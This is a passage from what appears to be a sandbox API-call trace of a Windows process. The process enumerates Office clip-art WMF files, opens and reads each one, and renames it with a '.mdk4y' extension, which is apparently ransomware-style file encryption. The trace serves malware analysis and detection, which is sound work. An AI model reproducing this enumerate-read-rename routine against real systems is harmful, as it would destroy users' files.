hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.719] AreFileApisANSI () returned 1 [0179.719] GetACP () returned 0x4e4 [0179.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0195812.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0195812.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.719] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825495000000) returned 1 [0179.720] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfca, lpOverlapped=0x0) returned 1 [0179.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825498000000) returned 1 [0179.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825498000000) returned 1 [0179.751] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.mdk4y")) returned 1 [0179.772] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.772] AreFileApisANSI () returned 1 [0179.772] GetACP () returned 0x4e4 [0179.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196164.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196164.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.772] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.773] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825500300000) returned 1 [0179.773] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7b2, lpOverlapped=0x0) returned 1 [0179.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825500400000) returned 1 [0179.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825500400000) returned 1 [0179.774] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.mdk4y")) returned 1 [0179.775] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.775] AreFileApisANSI () returned 1 [0179.775] GetACP () returned 0x4e4 [0179.775] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196374.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196374.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.775] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825500600000) returned 1 [0179.776] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1216, lpOverlapped=0x0) returned 1 [0179.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825501800000) returned 1 [0179.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825501800000) returned 1 [0179.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196374.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196374.wmf.mdk4y")) returned 1 [0179.789] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.789] AreFileApisANSI () returned 1 [0179.789] GetACP () returned 0x4e4 [0179.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0196400.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0196400.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.789] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825502000000) returned 1 [0179.790] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8cbe, lpOverlapped=0x0) returned 1 [0179.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825504900000) returned 1 [0179.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825504900000) returned 1 [0179.819] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196400.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196400.wmf.mdk4y")) returned 1 [0179.820] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.820] AreFileApisANSI () returned 1 [0179.820] GetACP () returned 0x4e4 [0179.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199036.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199036.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.821] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505100000) returned 1 [0179.821] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2518, lpOverlapped=0x0) returned 1 [0179.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505200000) returned 1 [0179.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505300000) returned 1 [0179.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.mdk4y")) returned 1 [0179.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.824] AreFileApisANSI () returned 1 [0179.824] GetACP () returned 0x4e4 [0179.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199283.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199283.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.824] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505400000) returned 1 [0179.824] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8ec4, lpOverlapped=0x0) returned 1 [0179.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505500000) returned 1 [0179.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505500000) returned 1 [0179.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.mdk4y")) returned 1 [0179.826] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.826] AreFileApisANSI () returned 1 [0179.826] GetACP () returned 0x4e4 [0179.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199549.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199549.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505700000) returned 1 [0179.827] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf5e, lpOverlapped=0x0) returned 1 [0179.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505800000) returned 1 [0179.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825505800000) returned 1 [0179.828] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.mdk4y")) returned 1 [0179.829] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.829] AreFileApisANSI () returned 1 [0179.829] GetACP () returned 0x4e4 [0179.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199661.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199661.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.829] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825506000000) returned 1 [0179.830] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x341e, lpOverlapped=0x0) returned 1 [0179.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508300000) returned 1 [0179.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508300000) returned 1 [0179.853] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.mdk4y")) returned 1 [0179.854] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.854] AreFileApisANSI () returned 1 [0179.854] GetACP () returned 0x4e4 [0179.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199727.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199727.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.854] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.855] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508500000) returned 1 [0179.855] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x900, lpOverlapped=0x0) returned 1 [0179.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508600000) returned 1 [0179.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508600000) returned 1 [0179.857] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.mdk4y")) returned 1 [0179.857] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.857] AreFileApisANSI () returned 1 [0179.857] GetACP () returned 0x4e4 [0179.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199755.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199755.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825508800000) returned 1 [0179.858] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xaf0, lpOverlapped=0x0) returned 1 [0179.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825509700000) returned 1 [0179.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825509700000) returned 1 [0179.868] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.mdk4y")) returned 1 [0179.869] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.869] AreFileApisANSI () returned 1 [0179.869] GetACP () returned 0x4e4 [0179.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199805.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199805.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.870] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.870] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510000000) returned 1 [0179.871] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x948, lpOverlapped=0x0) returned 1 [0179.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510300000) returned 1 [0179.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510300000) returned 1 [0179.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.mdk4y")) returned 1 [0179.874] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.874] AreFileApisANSI () returned 1 [0179.874] GetACP () returned 0x4e4 [0179.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0205462.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0205462.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.874] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510500000) returned 1 [0179.875] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2398, lpOverlapped=0x0) returned 1 [0179.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510600000) returned 1 [0179.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510700000) returned 1 [0179.877] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.mdk4y")) returned 1 [0179.878] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.878] AreFileApisANSI () returned 1 [0179.878] GetACP () returned 0x4e4 [0179.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0205466.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0205466.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.878] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.879] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825510900000) returned 1 [0179.879] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11e2, lpOverlapped=0x0) returned 1 [0179.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825513500000) returned 1 [0179.905] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825513500000) returned 1 [0179.906] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.mdk4y")) returned 1 [0179.907] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.907] AreFileApisANSI () returned 1 [0179.907] GetACP () returned 0x4e4 [0179.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0205582.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0205582.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.907] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0179.908] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825513800000) returned 1 [0179.908] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17f2, lpOverlapped=0x0) returned 1 [0179.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825518600000) returned 1 [0179.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825518600000) returned 1 [0179.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205582.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205582.wmf.mdk4y")) returned 1 [0179.958] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0179.958] AreFileApisANSI () returned 1 [0179.958] GetACP () returned 0x4e4 [0179.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0211949.WMF", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0211949.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0179.958] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 